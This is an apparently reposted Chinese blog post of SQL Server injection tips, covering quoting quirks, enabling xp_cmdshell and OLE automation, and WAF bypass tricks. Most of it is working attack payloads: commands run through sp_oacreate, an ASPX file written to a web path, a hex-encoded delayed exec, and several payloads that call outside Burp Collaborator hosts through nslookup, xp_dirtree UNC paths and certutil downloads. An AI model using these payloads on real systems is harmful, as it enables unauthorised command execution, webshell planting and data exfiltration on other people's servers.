zoukankan      html  css  js  c++  java
  • Sql server注入一些tips

      

    sql server环境测试:
    几个特性:
    1.sql server兼容性可以说是最差的。
    举例:
    select x from y where id=1
    字符串查询
    select x from y where id='1'
    
    这是会报错的,不允许的
    select x from y where id="1"
    假设y表有列名name,那么
    select x from y where id="name" 为真。
    那么利用这个特性我们可以爆破这个表的列名。
    sql server下,挖掘注入就是用单引号('),双引号的场景很少,但是也有。
    
    sql server不支持'1'-'1'=0这种运算,他会认为你是错误的,两个字符串无法进行相减,如果你是'1'-0他会进行类型转换不会出错。
    
    
    修改:
    update x set name='admin' where id=1
    如果id处存在注入,那么本质上就是个where条件查询注入,查询怎么注入他就怎么注入。
    
    
    update x set name="admin" where id=1 
    他会报错,没有人会这样写,用双引号。
    
    测试sql server 修改注入,只能是'aaa'+'bbb'=aaabbb,如果可以就是注入。 或者是'aaa'''aaa'''
    除order by/group by外注入:
    环境场景:当输入id->输出id相关数据,输入name,出现name相关数据,可能是order by还有可能是什么?
    ""是sql servr标识符,而不是字符串,他和mysql不一样
    还有可能是这样的: select "name" from x
    那么你可以这样去探测:name","id
    
    
    总结:测试sql server注入使用双引号测试的场景很少,尝试"是不明智的

        

        sql server注入到命令执行一些tips:

        

    基础:
    开启xp_cmdshell
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    
    执行命令:
    exec master..xp_cmdshell 'ping dnslog'
    
    2.启用sp_oacreate
    EXEC sp_configure 'show advanced options', 1;   
    RECONFIGURE WITH OVERRIDE;   
    EXEC sp_configure 'Ole Automation Procedures', 1;   
    RECONFIGURE WITH OVERRIDE;
    
    执行命令:
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\1.txt'
    
    ;declare+%40shell+int+exec+sp_oacreate+'wscript.shell',%40shell+output+exec+sp_oamethod+%40shell,'run',null,'c%3awindowssystem32
    slookup.exe%20"http://2ruqida2pbiyia3mnwnsaiadu40vok.burpcollaborator.net"';
    
    
    ;declare+@f+int,@g+int;exec+sp_oacreate+%27Scripting.FileSystemObject%27,@f+output;EXEC+SP_OAMETHOD+@f,%27CreateTextFile%27,@f+OUTPUT,%27d:Dztsztadmin65.txt%27,1;EXEC+sp_oamethod+@f,%27WriteLine%27,null,%27<%@+Page+Language="C%23"%><%+Response.Write("hello,world");+%>%27--
    3.调用sp_oamethod
    
    关于bypass:
    exec=execute
    原语句:execute master..xp_dirtree 'c:'
    改造:execute('master..xp_dirtree "c:" ')
    再次改造:execute('master..xp_dirtree "\im86rc9bogsvyfv87zip9sz34uaky9.burpcollaborator.net"' )

      

      

    bypass执行命令:
    ';execute('xp_c'%2b'mdshell " certutil.exe -urlcache -split -f http://cyen6bl8kg2svupmggzc6dk1zs5it7.burpcollaborator.net"');--%20111

      

    开启xp_cmdshell bypass:
    execute("sp_configure 'show advanced options', 1");RECONFIGURE;execute("sp_configure 'xp_cmdshell', 1;RECONFIGURE");
    
    sql server专属特性:
    select 1e1select user 
    相当于执行select 1e1 和select user,bypass waf
    'select 1e1declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s) -- a
    
    
    案例:
    aspx/.net站点支持get/post/cookie

      把get参数放到cookie中:

          

  • 相关阅读:
    笔记:国际化
    【推荐系统】知乎live入门3.召回
    【推荐系统】知乎live入门2.细节补充
    【推荐系统】知乎live入门1.推荐概览与框架
    【推荐系统】知乎live入门
    【学习总结】SQL学习总结-总
    【问题解决方案】git clone失败的分析和解决
    【问题解决方案】GitHub上克隆项目到本地
    【JAVA】eclipse里代码整个前移或者后移的快捷键
    【JAVA】Java 异常中e的getMessage()和toString()方法的异同
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14602368.html
Copyright © 2011-2022 走看看